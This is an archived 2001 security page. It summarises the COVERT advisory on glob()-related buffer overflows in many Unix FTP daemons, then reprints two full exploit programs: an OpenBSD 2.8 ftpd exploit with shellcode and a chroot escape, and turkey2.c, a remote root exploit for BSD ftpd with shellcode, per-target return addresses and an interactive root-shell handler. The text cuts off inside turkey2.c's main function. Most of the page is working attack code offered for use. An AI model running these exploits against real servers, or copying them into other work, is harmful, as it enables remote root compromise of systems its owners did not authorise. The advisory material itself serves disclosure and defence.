TUCoPS :: Unix :: General :: unix4249.htm

Multiple FTPD vulnerabilities
6th Jun 2001 [SBWID-4249]
COMMAND

	ftpd
	

	

SYSTEMS AFFECTED

	Multiple FTP Daemons
	

	

PROBLEM

	Following is based on a Network Associates COVERT Labs  Security  Advisory
	COVERT-2001-02. Multiple FTP server  implementations  contain  buffer  overflows
	that allow local and remote attackers to gain root privileges on  affected
	servers. These vulnerabilities are contingent upon the remote  user  having
	the ability to create directories  on  the  server  hosting  the  FTP  daemon,
	with the exception  of  a  few  cases  noted  below.  The  vulnerabilities
	presented are all related to the use of the glob() function, and can  be
	divided into the following two categories:
	 - glob() expansion vulnerabilities

	      User input that has been expanded by glob() can exceed  expected

	      lengths  and  trigger  otherwise  benign  buffer   mismanagement

	      problems present in certain FTP daemons.

	

	 - glob() implementation vulnerabilities

	      Certain implementations  of the  glob() function  contain buffer

	      overflows.   These vulnerabilities  are exploitable  through FTP

	      daemons that utilize these problematic implementations.

	

	The following operating systems have been confirmed  to  contain  vulnerable
	FTP daemons:
	

	        FreeBSD 4.2     CAN-2001-0247

	        OpenBSD 2.8

	        NetBSD  1.5

	        IRIX    6.5.x

	        HPUX    11      CAN-2001-0248

	        Solaris 8       CAN-2001-0249

	        UnixWare 7      CSSA-2001-SCO.27

	

	glob() implements filename  pattern  matching,  following  rules  similar
	to those used by Unix shells. It is a pathname generator, which  accepts
	an input pattern representing a set of filenames and returns a  list  of
	accessible pathnames matching that pattern. The input pattern  is  specified
	by using special metacharacters, taken from  the  following:  *?[]{}~\'.
	For example, a pattern of \'/e*\' would match all  directories  and  files
	in  the root of the file system that begin with the character \'e\'.
	

	The File Transfer  Protocol  (FTP),  as  defined  in  RFC959,  describes
	numerous commands with pathname arguments that specify files  or  directories.
	Though it is not required by the specification, most  FTP  daemon  implementations
	provide server-side globbing functionality  that  performs  pattern  expansion
	on these pathnames. The  actual  glob()  implementation  is  often  located
	in the FTP daemon itself, though some  FTP  servers  use  an  underlying
	libc implementation.
	

	The ability of a remote or local  user  to  deliver  input  patterns  to
	glob() implementations allows for two general types of  security  exposures.
	

	glob()  expansion  vulnerabilities  ================================   A
	number of vulnerabilities result from an FTP daemon  assuming  that  the
	length of the user input is limited to the  number  of  characters  that
	are read in from the socket. This  is  typically  512  characters.  This
	assumption is problematic because most FTP daemons contain a parser  rule
	for processing pathnames beginning with a tilde. The intended effect  of
	this rule is to replace the tilde  directory  component  with  the  referenced
	home directory. However, since this is performed by running  the  string
	through the glob()  function,  the  FTP  daemon  will  also  expand  any
	other wildcard characters present. This allows for user input  that  can
	exceed the number of characters read in from the socket, which can  make
	otherwise benign unbounded string operations exploitable.
	

	As mentioned above,  when  an  FTP  daemon  receives  a  request  involving
	a file that has a tilde as its first  character,  it  typically  runs  the
	entire filename string through globbing code  in  order  to  resolve  the
	specified home directory into a full path. This has the side  effect  of
	expanding other metacharacters in  the  pathname  string,  which  can  lead
	to very large input strings being passed into the  main  command  processing
	routines. This can  lead  to  exploitable  buffer  overflow  conditions,
	depending upon how these routines manipulate their input.
	

	In Solaris, an exploitable  heap  overflow  of  this  nature  is  triggered
	by using the LIST command. This vulnerability occurs when  the  FTP  daemon
	attempts to construct a string  using  unbounded  string  operations  in
	order to execute the /bin/ls program.
	

	HPUX contains a stack based overflow of this nature that can  be  triggered
	by the use of the STAT command.
	

	glob()                  implementation                   vulnerabilities
	=====================================  Certain  glob()   implementations
	contain buffer overflows in  their  internal  utility  functions.  These
	overflows are typically triggered by  requesting  a  pattern  that  expands
	to a very large pathname, or by  submitting  a  pattern  that  the  user
	intends to have the FTP daemon run through glob() twice.
	

	There are two implementations  of  glob()  that  are  known  to  contain
	buffer overflow vulnerabilities.
	

	Implementations based off of the c-shell globbing code contain a  buffer
	overflow that can be triggered by supplying a  pattern  string  such  that
	a set of brackets {} is followed by a string that is longer than the  length
	reserved for the stack based buffer  defined  in  execbrc().  This  could
	be exploited by utilizing a code path in the FTP  daemon  that  fed  the
	expanded output of  one globbed pathname into a second call to glob().
	

	BSD implementations of glob() contain  four  exploitable  buffer  overflows.
	The  first  buffer  overflow  occurs  in  the  static  utility  function
	g_opendir(), which copies the provided pathname  onto  the  stack.  This
	is performed using the function g_Ctoc,  which  converts  a  16-bit  character
	string to an 8-bit character string, but  otherwise  works  like  strcpy.
	Similar overflows occur in g_lstat(), and g_stat(). A  fourth  overflow,
	one that affects the stack  based  buffer  reserved  in  glob0,  is  the
	result of the behavior of the mutually recursive functions  glob2()  and
	glob3().
	

	Note that these vulnerabilities do not require the last component of  the
	provided directory to be a valid file,  thus  allowing  exploitation  even
	without the ability to create directories and  files.  Testing  has  shown
	that it would be possible to exploit OpenBSD and NetBSD without a  writable
	directory being present if a directory name  with  a  length  of  12  characters
	is available. FreeBSD can  be  exploited  without  a  writable  directory
	being present if a directory name of length 9 is available.
	

	Discovery and documentation of these vulnerabilities  was  conducted  by
	John McDonald and Anthony Osborne of the COVERT Labs  at  PGP  Security.
	

	Tomas Kindahl posted OpenBSD 2.8 ftpd/glob exploit:
	

	    /*

	    OpenBSD 2.x - 2.8 ftpd exploit.

	      It is possible to exploit an anonymous ftp without write permission

	      under certain circumstances. One is most likely to succeed if there

	      is a single directory somewhere with more than 16 characters in its

	      name.

	      Of course, if one has write permissions, one could easily create

	      such a directory.

	      My return values aren\'t that good. Find your own.

	      Patch is available at http://www.openbsd.org/errata.html

	    Example:

	      ftp> pwd

	      257 \"/test\" is current directory.

	      ftp> dir

	      229 Entering Extended Passive Mode (|||12574|)

	      150 Opening ASCII mode data connection for \'/bin/ls\'.

	      total 2

	      drwxr-xr-x  2 1000  0  512 Apr 14 14:14 12345678901234567

	      226 Transfer complete.

	    .....

	      $ ./leheehel -c /test -l 17 -s0xdfbeb970 localhost

	      // 230 Guest login ok, access restrictions apply.

	      // 250 CWD command successful.

	      retaddr = dfbeb970

	      Press enter..

	      remember to remove the \"adfa\"-dir

	      id

	      uid=0(root) gid=32766(nogroup) groups=32766(nogroup)

	    The shellcode basically does:

	      seteuid(0); a = open(\"..\", O_RDONLY); mkdir(\"adfa\", 555);

	      chroot(\"adfa\"); fchdir(a); for(cnt = 100; cnt; cnt--)

	        chdir(\"..\");

	      chroot(\"..\"); execve(\"/bin//sh\", ..);

	    Credits:

	      COVERT for their advisory.

	      The OpenBSD devteam for a great OS.

	      beercan for letting me test this on his OpenBSD 2.8-RELEASE

	    Author:

	      Tomas Kindahl <stok@codefactory.se>

	      Stok@{irc,ef}net

	    */

	

	    #include <sys/types.h>

	    #include <sys/socket.h>

	    #include <netinet/in.h>

	    #include <netdb.h>

	    #include <stdio.h>

	    #include <unistd.h>

	    #include <stdlib.h>

	    #include <string.h>

	

	    extern char *optarg;

	    static int debug;

	    int cflag, lflag, sflag;

	

	    /* The execve-part was stolen from \"predator\" */

	    char shellcode[] =

	    \"x31xc0x50x50xb0xb7xcdx80\"

	    \"x58x50x66x68x2ex2ex89xe1\"

	    \"x50x51x50xb0x05xcdx80x89\"

	    \"xc3x58x50x68x61x64x66x61\"

	    \"x89xe2x66x68x6dx01x52x50\"

	    \"xb0x88xcdx80xb0x3dxcdx80\"

	    \"x53x50xb0x01x83xc0x0cxcd\"

	    \"x80x51x50x31xc9xb1x64xb0\"

	    \"x0cxcdx80xe2xfaxb0x3dxcd\"

	    \"x80x31xc0x50x68x2fx2fx73\"

	    \"x68x68x2fx62x69x6ex89xe3\"

	    \"x50x53x50x54x53xb0x3bx50\"

	    \"xcdx80xc3\";

	

	    #define USER \"USER ftprn\"

	    #define PASS \"PASS -user@rn\"

	

	    void usage(const char *);

	    void docmd(int s, const char *cmd, int print);

	    void communicate(int s);

	

	    int main(int argc, char *argv[])

	    {

	      char expbuf[512] = \"LIST \", *basedir, option;

	      char commandbuf[512] = \"\", *hostname;

	      int cnt, dirlen, explen, sendlen;

	      int s, port = 21, pad;

	      long retaddr;

	      struct sockaddr_in sin;

	      struct hostent *he;

	

	      while((option = getopt(argc, argv, \"dc:l:p:s:\")) != -1)

	        switch(option)

	          {

	          case \'d\':

	            debug++;

	            break;

	          case \'c\':

	            cflag = 1;

	            basedir = optarg;

	            break;

	          case \'l\':

	            lflag = 1;

	            dirlen = atoi(optarg);

	            if(dirlen < 16)

	              {

	                usage(argv[0]);

	                exit(0);

	              }

	            break;

	          case \'p\':

	            port = atoi(optarg);

	            break;

	          case \'s\':

	            sflag = 1;

	            retaddr = strtoul(optarg, 0, 0);

	            break;

	          default:

	            usage(argv[0]);

	            exit(0);

	          }

	

	      if(!cflag || !lflag)

	        {

	          usage(argv[0]);

	          exit(0);

	        }

	

	      if(argc - optind == 1)

	        hostname = argv[optind];

	      else

	        {

	          usage(argv[0]);

	          exit(0);

	        }

	

	      if((s = socket(AF_INET, SOCK_STREAM, 0)) == -1)

	        {

	          perror(\"socket\");

	          exit(1);

	        }

	

	      if((he = gethostbyname(hostname)) == NULL)

	        {

	          herror(hostname);

	          exit(0);

	        }

	      memset(&sin, 0, sizeof(struct sockaddr_in));

	      sin.sin_family = AF_INET;

	      sin.sin_port = htons(port);

	      memcpy(&sin.sin_addr, he->h_addr_list[0], sizeof(struct in_addr));

	      if(connect(s, (struct sockaddr *) &sin, sizeof(struct sockaddr_in)) == -1)

	        {

	          perror(\"connect\");

	          exit(0);

	        }

	

	      if(debug)

	        fprintf(stderr, \"// basedir = \"%s\"n\", basedir);

	

	      /* \"untrusted input\"? */

	      for(cnt = 0; cnt < 1024/(dirlen+4)-1; cnt++)

	        strcat(expbuf, \"*/../\");

	      strcat(expbuf, \"*/\");

	      if(debug)

	        fprintf(stderr, \"// expbuf = \"%s\"n\", expbuf);

	

	      explen = cnt*(dirlen+4) + dirlen + 1;

	      if(debug)

	        fprintf(stderr, \"// explen = %dn\", explen);

	

	      sendlen = strlen(expbuf);

	      if(debug)

	        fprintf(stderr, \"// sendlen = %dn\", sendlen);

	

	      docmd(s, \"\", 0);

	

	      docmd(s, USER, 0);

	      docmd(s, PASS, 1);

	

	      snprintf(commandbuf, sizeof(commandbuf), \"CWD %srn\", basedir);

	      docmd(s, commandbuf, 1);

	

	

	    /*************************/

	

	      pad = 1027 - explen;

	      if(debug)

	        fprintf(stderr, \"// pad = %dn\", pad);

	

	      for(; pad >= 0; pad--)

	        strcat(expbuf, \"x\");

	

	      /* return address */

	      if(!sflag)

	        {

	          switch(dirlen)

	            {

	            case 16:

	              retaddr = 0xdfbeab60;

	            case 26:

	              retaddr = 0xdfbefe40;

	            default:

	              /* I don\'t have the patience to investigate this. */

	              retaddr = 0xdfbeba20 + (dirlen-17)*0x9c0;

	            }

	          retaddr+=20;

	        }

	

	      fprintf(stderr, \"retaddr = %.8lxn\", retaddr);

	      /* endian dependant */

	      strncat(expbuf, (char *) &retaddr, 4);

	

	      for(cnt = strlen(expbuf); cnt < 508-strlen(shellcode); cnt++)

	        strcat(expbuf, \"x90\");

	

	      strcat(expbuf, shellcode);

	

	      strcat(expbuf, \"rn\");

	    /*************************/

	

	      fprintf(stderr, \"Press enter..\"); fflush(stderr);

	      fgets(commandbuf, sizeof(commandbuf)-1, stdin);

	

	      docmd(s, expbuf, 0);

	

	      fprintf(stderr, \"remember to remove the \"adfa\"-dirn\");

	      communicate(s);

	

	      return 0;

	    }

	

	    void usage(const char *s)

	    {

	      fprintf(stderr, \"Usage %s [-s retaddr] [-d] -c dir -l dirlen(>=16) [-p port] hostnamen\", s);

	    }

	

	    void docmd(int s, const char *cmd, int print)

	    {

	      char uglybuf[1024];

	      int len;

	      fd_set rfds;

	      struct timeval tv;

	

	      len = strlen(cmd);

	      if(debug)

	        {

	          write(STDERR_FILENO, \"\\\\ \", 3);

	          write(STDERR_FILENO, cmd, len);

	        }

	      if(send(s, cmd, len, 0) != len)

	        {

	          perror(\"send\");

	          exit(0);

	        }

	

	      FD_ZERO(&rfds);

	      FD_SET(s, &rfds);

	      tv.tv_sec = 1;

	      tv.tv_usec = 0;

	      select(s+1, &rfds, NULL, NULL, &tv);

	      if(FD_ISSET(s, &rfds))

	        {

	          if((len = recv(s, uglybuf, sizeof(uglybuf), 0)) < 0)

	            {

	              perror(\"recv\");

	              exit(0);

	            }

	          if(len == 0)

	            {

	              fprintf(stderr, \"EOF on socket. Sorry.n\");

	              exit(0);

	            }

	          if(debug || print)

	            {

	              write(STDERR_FILENO, \"// \", 3);

	              write(STDERR_FILENO, uglybuf, len);

	            }

	        }

	    }

	

	    void communicate(int s)

	    {

	      char buf[1024];

	      int len;

	      fd_set rfds;

	

	      while(1)

	        {

	          FD_ZERO(&rfds);

	          FD_SET(STDIN_FILENO, &rfds);

	          FD_SET(s, &rfds);

	          select(s+1, &rfds, NULL, NULL, NULL);

	          if(FD_ISSET(STDIN_FILENO, &rfds))

	            {

	              if((len = read(STDIN_FILENO, buf, sizeof(buf))) <= 0)

	                return;

	              if(send(s, buf, len, 0) == -1)

	                return;

	            }

	          if(FD_ISSET(s, &rfds))

	            {

	              if((len = recv(s, buf, sizeof(buf), 0)) <= 0)

	                return;

	              if(write(STDOUT_FILENO, buf, len) == -1)

	                return;

	            }

	        }

	    }

	

	\'fish stiqz\' posted following. You must have an account  on  the  system
	to be able to use the exploit. You could theoretically be  an  anonymous
	user with access to a writeable directory, but  it  would  require  a  chroot
	break, which  is  not  included  in  the  exploit.  turkey2.c  works  by
	default on all unpatched FreeBSD 4.[0-2] running the default ftp  server
	and OpenBSD 2.8.  It should work elsewhere with a tiny bit of tuning.
	

	    /*

	     * turkey2.c - \"gobble gobble\"

	     *

	     * REMOTE ROOT EXPLOIT FOR BSD FTPD

	     *   by: fish stiqz <fish@analog.org>   04/14/2001

	     *

	     * shouts: trey, dono, hampton and The Analog Organization.

	     *

	     * Notes:

	     *  Doesn\'t break chroot so requires an account.

	     *

	     *  Fixed a design issue I had previously overlooked.

	     *  Added support for OpenBSD 2.8 =).

	     *

	     */

	

	    #include <sys/types.h>

	    #include <sys/socket.h>

	    #include <netdb.h>

	    #include <netinet/in.h>

	    #include <arpa/inet.h>

	    #include <unistd.h>

	    #include <stdio.h>

	    #include <stdlib.h>

	    #include <string.h>

	    #include <errno.h>

	    #include <time.h>

	    #include <ctype.h>

	    #include <pwd.h>

	

	

	    #define FTP_PORT 21

	    #define MAXX(a,b) ((a) < (b) ? (b) : (a))

	

	    #define NOP 0x41 /* inc %ecx, works just like a nop, easier to read */

	

	    extern int errno;

	

	    int debug_read;

	    int debug_write;

	

	

	    /*

	     * Non-ripped 45 byte bsd shellcode which does setuid(0) and execve()

	     * and does not contain any \'/\' characters.

	     */

	    char bsdcode[] =

	    \"x29xc0x50xb0x17x50xcdx80\"

	    \"x29xc0x50xbfx66x69x73x68\"

	    \"x29xf6x66xbex49x46x31xfe\"

	    \"x56xbex49x0bx1ax06x31xfe\"

	    \"x56x89xe3x50x54x50x54x53\"

	    \"xb0x3bx50xcdx80\";

	

	

	    /* architecture structure */

	    struct arch {

	        char *description;

	        char *shellcode;

	        unsigned long code_addr;

	    };

	

	

	    /* available targets */

	    struct arch archlist[] =

	    {

	        { \"FreeBSD 4.X (FTP server (Version 6.00LS))\", bsdcode, 0xbfbfc2c8 },

	        { \"OpenBSD 2.8 (FTP server (Version 6.5/OpenBSD))\", bsdcode, 0xdfbfa1c8 }

	    };

	

	

	    /*

	     * function prototypes.

	     */

	    void *Malloc(size_t);

	    void *Realloc(void *, size_t);

	    char *Strdup(char *);

	    int get_ip(struct in_addr *, char *);

	    int tcp_connect(char *, unsigned int);

	    ssize_t write_sock(int, char *);

	    int sock_readline(int, char *, int);

	    char *read_sock(int);

	    int ftp_login(int, char *, char *);

	    char *ftp_gethomedir(int);

	    int ftp_mkdir(int, char *);

	    int ftp_chdir(int, char *);

	    int ftp_quit(int);

	    void possibly_rooted(int);

	    char *random_string(void);

	    void send_glob(int, char *);

	    int ftp_glob_exploit(int, char *, unsigned long, char *);

	    int verify_shellcode(char *);

	    void usage(char *);

	    void list_targets(void);

	

	

	    /*

	     * Error cheq\'n wrapper for malloc.

	     */

	    void *Malloc(size_t n)

	    {

	        void *tmp;

	

	        if((tmp = malloc(n)) == NULL)

	        {

	            fprintf(stderr, \"malloc(%u) failed! exiting...n\", n);

	            exit(EXIT_FAILURE);

	        }

	

	        return tmp;

	    }

	

	

	    /*

	     * Error cheq\'n realloc.

	     */

	    void *Realloc(void *ptr, size_t n)

	    {

	        void *tmp;

	

	        if((tmp = realloc(ptr, n)) == NULL)

	        {

	            fprintf(stderr, \"realloc(%u) failed! exiting...n\", n);

	            exit(EXIT_FAILURE);

	        }

	

	        return tmp;

	    }

	

	

	    /*

	     * Error cheq\'n strdup.

	     */

	    char *Strdup(char *str)

	    {

	        char *s;

	

	        if((s = strdup(str)) == NULL)

	        {

	            fprintf(stderr, \"strdup failed! exiting...n\");

	            exit(EXIT_FAILURE);

	        }

	

	        return s;

	    }

	

	

	    /*

	     * translates a host from its string representation (either in numbers

	     * and dots notation or hostname format) into its binary ip address

	     * and stores it in the in_addr struct passed in.

	     *

	     * return values: 0 on success, != 0 on failure.

	     */

	    int get_ip(struct in_addr *iaddr, char *host)

	    {

	        struct hostent *hp;

	

	        /* first check to see if its in num-dot format */

	        if(inet_aton(host, iaddr) != 0)

		    return 0;

	

	        /* next, do a gethostbyname */

	        if((hp = gethostbyname(host)) != NULL)

	        {

		    if(hp->h_addr_list != NULL)

		    {

		        memcpy(&iaddr->s_addr, *hp->h_addr_list, sizeof(iaddr->s_addr));

		        return 0;

		    }

		    return -1;

	        }

	

	        return -1;

	    }

	

	

	    /*

	     * initiates a tcp connection to the specified host (either in

	     * ip format (xxx.xxx.xxx.xxx) or as a hostname (microsoft.com)

	     * to the host\'s tcp port.

	     *

	     * return values:  != -1 on success, -1 on failure.

	     */

	    int tcp_connect(char *host, unsigned int port)

	    {

	        int sock;

	        struct sockaddr_in saddress;

	        struct in_addr *iaddr;

	

	        iaddr = Malloc(sizeof(struct in_addr));

	

	        /* write the hostname information into the in_addr structure */

	        if(get_ip(iaddr, host) != 0)

		    return -1;

	

	        saddress.sin_addr.s_addr = iaddr->s_addr;

	        saddress.sin_family      = AF_INET;

	        saddress.sin_port        = htons(port);

	

	        /* create the socket */

	        if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)

		    return -1;

	

	        /* make the connection */

	        if(connect(sock, (struct sockaddr *) &saddress, sizeof(saddress)) != 0)

	        {

		    close(sock);

		    return -1;

	        }

	

	        /* everything succeeded, return the connected socket */

	        return sock;

	    }

	

	

	    /*

	     * a wrapper for write to enable us to do some debugging.

	     */

	    int write_sock(int fd, char *buf)

	    {

	        if(debug_write)

	 	    printf(\" > %s\", buf);

	

	        return write(fd, buf, strlen(buf));

	    }

	

	    /*

	     * reads a line from the socket, stores it into buffer,

	     * doesnt null terminate.

	     */

	    int sock_readline(int sock, char *buffer, int maxsize)

	    {

	        int x, r;

	        char rchar;

	

	        for(x = 0; x < maxsize; x++)

	        {

		    /* read in one character from the socket */

		    if((r = read(sock, &rchar, 1)) == 1)

		    {

		        buffer[x] = rchar;

	

		        if(rchar == \'n\')

			    break;

		    }

		    else

		        return -1;

	        }

	

	        return x;

	    }

	

	    /*

	     * reads in an entire message from the ftp server.

	     */

	    char *read_sock(int sock)

	    {

	        char ibuf[8192], *bigbuf = NULL;

	        int r;

	        unsigned int total = 0;

	

	        for(;;)

	        {

		    memset(ibuf, 0x0, sizeof(ibuf));

		    r = sock_readline(sock, ibuf, sizeof(ibuf) - 1);

	

		    bigbuf = Realloc(bigbuf, (total + strlen(ibuf) + 1) * sizeof(char));

		    memcpy(bigbuf + total, ibuf, strlen(ibuf));

		    bigbuf[total + strlen(ibuf)] = 0x0;

		    total += strlen(ibuf);

	

		    if(strlen(ibuf) < 4)

		        break;

	

		    /* multi-lined responses have a dash as the 4th character */

		    if(ibuf[3] != \'-\')

		        break;

	        }

	

	        if(debug_read)

	        {

		    printf(\" < %s\", bigbuf);

		    fflush(stdout);

	        }

	

	        return bigbuf;

	

	    }

	

	

	    /*

	     * FTP LOGIN function.  Issues a \"USER <username> and then \"PASS <password>\"

	     * to login to the remote host and checks that command succeeded.

	     */

	    int ftp_login(int sock, char *username, char *password)

	    {

	        char *recvbuf;

	        char *sendbuf;

	        char *header;

	

	        header = read_sock(sock);

	        printf(\"tserver runs:t%s\", header);

	        free(header);

	

	        sendbuf = Malloc((MAXX(strlen(username), strlen(password)) + 7) *

			         sizeof(char));

	

	        sprintf(sendbuf, \"USER %sn\", username);

	

	        write_sock(sock, sendbuf);

	        recvbuf = read_sock(sock);

	

	        if(atoi(recvbuf) != 331)

	        {

		    free(recvbuf);

		    return 0;

	        }

	

	        sprintf(sendbuf, \"PASS %sn\", password);

	        write_sock(sock, sendbuf);

	        recvbuf = read_sock(sock);

	

	        if(atoi(recvbuf) != 230)

	        {

		    free(recvbuf);

		    return 0;

	        }

	

	        free(sendbuf);

	        return 1;

	

	    }

	

	

	    /*

	     * FTP GET HOME DIR function.  Issues a \"CWD ~\" and \"PWD\" to

	     * force the ftp daemon to print our our current directory.

	     */

	    char *ftp_gethomedir(int sock)

	    {

	        char *recvbuf;

	        char *homedir = NULL;

	

	        write_sock(sock, \"CWD ~n\");

	        recvbuf = read_sock(sock);

	

	        if(atoi(recvbuf) == 250)

	        {

		    write_sock(sock, \"PWDn\");

		    recvbuf = read_sock(sock);

	

		    if(atoi(recvbuf) == 257)

		    {

		        char *front, *back;

	

		        front = strchr(recvbuf, \'\"\');

		        front++;

		        back = strchr(front, \'\"\');

	

		        homedir = Malloc((back - front) * sizeof(char));

		        strncpy(homedir, front, (back - front));

		        homedir[(back - front)] = 0x0;

		    }

	        }

	

	        free(recvbuf);

	        return homedir;

	    }

	

	

	    /*

	     * FTP MKDIR function.  Issues an \"MKD <dirname>\" to create a directory on

	     * the remote host and checks that the command succeeded.

	     */

	    int ftp_mkdir(int sock, char *dirname)

	    {

	        char *recvbuf;

	        char *sendbuf;

	

	        sendbuf = Malloc((strlen(dirname) + 6) * sizeof(char));

	        sprintf(sendbuf, \"MKD %sn\", dirname);

	

	        write_sock(sock, sendbuf);

	        recvbuf = read_sock(sock);

	

	        free(sendbuf);

	

	        if(atoi(recvbuf) == 257)

	        {

		    free(recvbuf);

		    return 1;

	        }

	

	        free(recvbuf);

	        return 0;

	    }

	

	

	    /*

	     * FTP CWD function.  Issues a \"CWD <dirname>\" to change directory on

	     * the remote host and checks that the command succeeded.

	     */

	    int ftp_chdir(int sock, char *dirname)

	    {

	        char *recvbuf;

	        char *sendbuf;

	

	        sendbuf = Malloc((strlen(dirname) + 6) * sizeof(char));

	        sprintf(sendbuf, \"CWD %sn\", dirname);

	

	        write_sock(sock, sendbuf);

	        recvbuf = read_sock(sock);

	

	        free(sendbuf);

	

	        if(atoi(recvbuf) == 250)

	        {

		    free(recvbuf);

		    return 1;

	        }

	

	        free(recvbuf);

	        return 0;

	    }

	

	

	    /*

	     * FTP QUIT function.  Issues a \"QUIT\" to terminate the connection.

	     */

	    int ftp_quit(int sock)

	    {

	        char *recvbuf;

	

	        write_sock(sock, \"QUITn\");

	        recvbuf = read_sock(sock);

	        free(recvbuf);

	

	        close(sock);

	        return 1;

	    }

	

	    /*

	     * switches between the user and the remote shell (if everything went well).

	     */

	    void possibly_rooted(int sock)

	    {

	        char banner[] =

		    \"cd /; echo; uname -a; echo; id; echo; echo Welcome to the shell, \"

		    \"enter commands at will; echo;nn\";

	

	        char buf[1024];

	        fd_set fds;

	        int r;

	

	        write(sock, banner, strlen(banner));

	

	        for(;;)

	        {

	            FD_ZERO(&fds);

	            FD_SET(fileno(stdin), &fds);

	            FD_SET(sock, &fds);

	            select(255, &fds, NULL, NULL, NULL);

	

	            if(FD_ISSET(sock, &fds))

	            {

	                memset(buf, 0x0, sizeof(buf));

	                r = read (sock, buf, sizeof(buf) - 1);

	                if(r <= 0)

	                {

	                    printf(\"Connection closed.n\");

	                    exit(EXIT_SUCCESS);

	                }

	                printf(\"%s\", buf);

	            }

	

	            if(FD_ISSET(fileno(stdin), &fds))

	            {

	                memset(buf, 0x0, sizeof(buf));

	                read(fileno(stdin), buf, sizeof(buf) - 1);

	                write(sock, buf, strlen(buf));

	            }

	        }

	        close(sock);

	    }

	

	

	    /*

	     * generates a string of 6 random characters.

	     * this is too allow for multiple successful runs, best way to do

	     * this is to actually remove the created directories.

	     */

	    char *random_string(void)

	    {

	        int i;

	        char *s = Malloc(7 * sizeof(char));

	

	        srand(time(NULL));

	        for(i = 0; i < 6; i++)

	            s[i] = (rand() % (122 - 97)) + 97;

	

	        s[i] = 0x0;

	        return s;

	    }

	

	

	    /*

	     * sends the glob string, to overflow the daemon.

	     */

	    void send_glob(int sock, char *front)

	    {

	        char globbed[] = \"CWD ~/NNNNNN*/X*/X*/X*n\";

	        int i, j;

	

	        for(i = 6, j = 0; i < 6 + 6; i++, j++)

		    globbed[i] = front[j];

	

	        write_sock(sock, globbed);

	

	        printf(\"[5] Globbed commands sent.n\");

	        free(front);

	

	        /* start our shell handler */

	        possibly_rooted(sock);

	    }

	

	

	    /*

	     * Exploitation routine.

	     * Makes 4 large directories and then cwd\'s to them.

	     */

	    int ftp_glob_exploit(int sock, char *homedir, unsigned long addy, char *shellcode)

	    {

	        char dir[300];

	        int i = 0, j = 0;

	        int total = strlen(homedir) + 1;

	        int align;

	        char *rstring = random_string();

	

	        /* go to the writeable directory */

	        if(!ftp_chdir(sock, homedir))

	        {

		    fprintf(stderr, \"[-] Failed to change directory, aborting!n\");

		    return 0;

	        }

	

	        for(i = 0; i < 4; i++)

	        {

		    memset(dir, 0x0, sizeof(dir));

	

		    switch(i)

		    {

		    case 0: /* first dir == shellcode */

		        memcpy(dir, rstring, strlen(rstring));

		        memset(dir + strlen(rstring), NOP, 255 - strlen(rstring));

		        memcpy(&dir[(255 - strlen(shellcode))], shellcode, strlen(shellcode));

		        break;

	

		    case 3: /* address buffer */

		        /* calculate the alignment */

		        align = total % sizeof(long);

		        align = sizeof(long) - align;

	

		        printf(\"[3] Calculated alignment = %d, total = %dn\",

			       align, total);

	

		        strcpy(dir, \"XXXX\");

		        memset(dir + 4, \'X\', align);

	

		        for(j = 4 + align; j < 250; j += 4)

		        {

			    /* leet portable bit shifting */

			    /*   brought to you by trey   */

			    unsigned long p_addy = htonl(addy);

			    dir[j + 0] = p_addy & 0xff;

			    dir[j + 1] = (p_addy & 0xff00) >> 8;

			    dir[j + 2] = (p_addy & 0xff0000) >> 16;

			    dir[j + 3] = (p_addy & 0xff000000) >> 24;

		        }

		        break;

	

		    default: /* cases 1 and 2, extra overflow bytes */

		        memset(dir, \'X\', 255);

		        break;

	

		    }

	

		    total += strlen(dir) + 1;

	

		    if(!ftp_mkdir(sock, dir))

		    {

		        fprintf(stderr, \"[-] Failed to generate directories, aborting!n\");

		        return 0;

		    }

	

		    if(!ftp_chdir(sock, dir))

		    {

		        fprintf(stderr, \"[-] Failed to change directory, aborting!n\");

		        return 0;

		    }

	        }

	

	        printf(\"[4] Evil directories created.n\");

	

	        if(!ftp_chdir(sock, homedir))

	        {

		    fprintf(stderr, \"[-] Failed to cwd back to %s, aborting!n\", homedir);

		    return 0;

	        }

	

	        /* perform the final attack */

	        send_glob(sock, rstring);

	

	        return 1;

	    }

	

	

	    /*

	     * returns true if the shellcode passes, false otherwise.

	     */

	    int verify_shellcode(char *code)

	    {

	        int i, s = 0;

	

	        if(strlen(code) > 255)

	        {

		    fprintf(stderr, \"[-] Shellcode length exceeds 255, aborting!n\");

		    return 0;

	        }

	

	        for(i = 0; i < strlen(code); i++)

	        {

		    if(code[i] == \'/\')

		        s++;

	        }

	

	        if(s > 0)

	        {

		    fprintf(stderr,

			    \"[-] Shellcode contains %u slash characters, abortingn\", s);

		    return 0;

	        }

	

	        return 1;

	    }

	

	

	    /*

	     * displays the usage message and exits.

	     */

	    void usage(char *p)

	    {

	        fprintf(stderr,

		        \"BSD ftpd remote exploit by fish stiqz <fish@analog.org>n\"

		        \"usage: %s [options]n\"

		        \"t-ctremote host to connect ton\"

		        \"t-otremote port to usen\"

		        \"t-utremote usernamen\"

		        \"t-ptremote passwordn\"

		        \"t-itget the password interactivelyn\"

		        \"t-ttpredefined target (\"-t list\" to list all targets)n\"

		        \"t-dtwriteable directoryn\"

		        \"t-ltshellcode addressn\"

		        \"t-vtdebug level [0-2]n\"

		        \"t-stseconds to sleep after login (debugging purposes)n\"

		        \"t-htdisplay this helpn\", p);

	

	        exit(EXIT_FAILURE);

	    }

	

	    /*

	     * lists all available targets.

	     */

	    void list_targets(void)

	    {

	        int i;

	

	        printf(\"Available Targets:n\");

	

	        for(i = 0; i < sizeof(archlist) / sizeof(struct arch); i++ )

	            printf(\"%i: %sn\", i, archlist[i].description);

	

	        return;

	    }

	

	

	    int main(int argc, char **argv)

	    {

	        int sock, c;

	        int port       = FTP_PORT;

	        int debuglevel = 0;

	        char *host     = NULL;

	        char *username = NULL;

	        char *password = NULL;

	

	        struct arch *arch       = NULL;

	        char *shellcode         = bsdcode;

	        int target              = 0;

	        int sleep_time          = 0;

	        unsigned long code_addr = 0;

	        char *homedir           = NULL;;

	

	        /* grab command line parameters */

	        while((c = getopt(argc, argv, \"c:o:u:p:it:d:l:v:s:h\")) != EOF)

	        {

		    switch(c)

		    {

		    case \'c\':

		        host = Strdup(optarg);

		        break;

	

		    case \'o\':

		        port = atoi(optarg);

		        break;

	

		    case \'u\':

		        username = Strdup(optarg);

		        break;

	

		    case \'p\':

		        password = Strdup(optarg);

		        /* hide the password from ps */

		        memset(optarg, \'X\', strlen(optarg));

		        break;

	

		    case \'i\':

		        password = getpass(\"Enter remote password: \");

		        break;

	

		    case \'t\':

		        if(strcmp(optarg, \"list\") == 0)

		        {

			    list_targets();

